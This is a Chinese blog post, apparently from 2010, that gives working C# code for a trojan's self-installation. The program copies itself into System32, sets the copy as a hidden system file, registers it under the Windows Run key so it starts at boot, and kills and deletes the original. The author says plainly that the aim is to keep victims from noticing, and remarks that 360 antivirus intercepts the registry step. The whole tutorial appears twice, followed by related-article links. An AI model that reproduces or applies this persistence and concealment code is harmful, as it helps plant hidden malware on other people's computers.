实现程序复制到系统盘,自启动,自删除,隐藏为系统文件
2010-12-24 19:40
393 查看
文:RQC
我们在开发木马程序的时候一般都希望别人一运行就把自己复制到C:/Windows/System32 目录下并且将其文件属性改为系统文件而且为隐藏好让别人不太好发觉,然后开机还要实现自启动,在C#中我们该怎么做呢,代码如下:
using System.IO;
using Microsoft.Win32;
using System.Diagnostics; //引入这几个命名空间
string filename = Application.ExecutablePath; //得到自身的路径和文件名
string New_filename = @"C:/Windows/System32/" + Process.GetCurrentProcess().ProcessName + ".exe"; //目标文件路径和文件名
//判断 C:/Windows/System32 这个目录下是否存在本程序 防止多次复制
if (!File.Exists(New_filename))
{
File.Copy(filename,New_filename); //将其复制进去
//将程序路径写入注册表,随Windows启动
RegistryKey runkey = Registry.LocalMachine;
RegistryKey run = runkey.CreateSubKey(@"SOFTWARE/Microsoft/Windows/CurrentVersion/Run");
run.SetValue("爷是木马", New_filename);
//将复制进去的程序文件属性修改为系统文件并隐藏
File.SetAttributes(New_filename, FileAttributes.System | FileAttributes.Hidden);
runkey.Close();
Process.Start(New_filename,Process.GetCurrentProcess().Id.ToString() + " " + "/"" + filename + "/""); //启动复制进去的程序,并将自身的进程ID和自身的路径传递给复制进去的程序让其结束本进程并删除本程序文件
return;
}
然后在 Program.cs 文件里的Main函数里加上以下代码
static class Program
{
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main(string[] args) //注意,在这里给Main方法加上这个形式参数可以让程序运行时可以接收传递的参数
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
if (args.Length > 0) //判断程序运行时有没有传递参数
{
System.Diagnostics.Process.GetProcessById(int.Parse(args[0])).Kill(); //结束原程序进程
Application.DoEvents(); //等待以上代码全部执行完毕,这句很重要,不然很可能在以上程序工作还未完成时执行了下面一句代码而导致删除不了
System.IO.File.Delete(args[1]); //删除原程序文件
}
Application.Run(new Form1());
}
}
以上代码已经实现了这个功能,由于实现开机自启动是修改注册表实现的,所以360对程序的修改注册表有适时拦截,等找到更好开机自启动的方法了再写出来
我们在开发木马程序的时候一般都希望别人一运行就把自己复制到C:/Windows/System32 目录下并且将其文件属性改为系统文件而且为隐藏好让别人不太好发觉,然后开机还要实现自启动,在C#中我们该怎么做呢,代码如下:
using System.IO;
using Microsoft.Win32;
using System.Diagnostics; //引入这几个命名空间
string filename = Application.ExecutablePath; //得到自身的路径和文件名
string New_filename = @"C:/Windows/System32/" + Process.GetCurrentProcess().ProcessName + ".exe"; //目标文件路径和文件名
//判断 C:/Windows/System32 这个目录下是否存在本程序 防止多次复制
if (!File.Exists(New_filename))
{
File.Copy(filename,New_filename); //将其复制进去
//将程序路径写入注册表,随Windows启动
RegistryKey runkey = Registry.LocalMachine;
RegistryKey run = runkey.CreateSubKey(@"SOFTWARE/Microsoft/Windows/CurrentVersion/Run");
run.SetValue("爷是木马", New_filename);
//将复制进去的程序文件属性修改为系统文件并隐藏
File.SetAttributes(New_filename, FileAttributes.System | FileAttributes.Hidden);
runkey.Close();
Process.Start(New_filename,Process.GetCurrentProcess().Id.ToString() + " " + "/"" + filename + "/""); //启动复制进去的程序,并将自身的进程ID和自身的路径传递给复制进去的程序让其结束本进程并删除本程序文件
return;
}
然后在 Program.cs 文件里的Main函数里加上以下代码
static class Program
{
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main(string[] args) //注意,在这里给Main方法加上这个形式参数可以让程序运行时可以接收传递的参数
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
if (args.Length > 0) //判断程序运行时有没有传递参数
{
System.Diagnostics.Process.GetProcessById(int.Parse(args[0])).Kill(); //结束原程序进程
Application.DoEvents(); //等待以上代码全部执行完毕,这句很重要,不然很可能在以上程序工作还未完成时执行了下面一句代码而导致删除不了
System.IO.File.Delete(args[1]); //删除原程序文件
}
Application.Run(new Form1());
}
}
以上代码已经实现了这个功能,由于实现开机自启动是修改注册表实现的,所以360对程序的修改注册表有适时拦截,等找到更好开机自启动的方法了再写出来
相关文章推荐
- 利用MoveFileEx实现程序的隐藏、自启动与自删除
- 基于VC++2010利用API函数MoveFileEx实现程序的隐藏、自启动与自删除
- 利用API函数MoveFileEx实现程序的隐藏、自启动与自删除
- 利用MoveFileEx实现程序的隐藏、自启动与自删除
- 批处理bat文件实现复制、删除、创建文件夹、执行程序、打开文件
- Python 实现文件复制、删除
- 小程序如何删除或隐藏头部导航栏,实现全屏
- JavaScript实现删除,移动和复制文件的方法
- c语言实现文件移动\复制\重命名\删除:
- 实现文件的创建、删除、复制、压缩、解压以及目录的创建、删除、复制、压缩解压等功能
- 教你取得计算机的所有权(可删除和打开或复制系统文件)
- mac系统如何显示和隐藏文件 和 删除SVN隐藏文件
- java 复制 删除 改文件 后缀名小程序
- C#程序中创建、复制、移动、删除文件或文件夹的示例
- 复制一个文件夹中的所有文件和文件夹的java程序实现
- Python实现文件复制删除
- 8. 文件系统――文件的删除、移动、复制过程以及链接文件
- PB利用API-SHFileOperation 文件操作函数 实现多文件及文件夹的删除复制等操作
- C#实现的文件操作封装类完整实例【删除,移动,复制,重命名】
- C#调用系统的复制、移动、删除文件对话框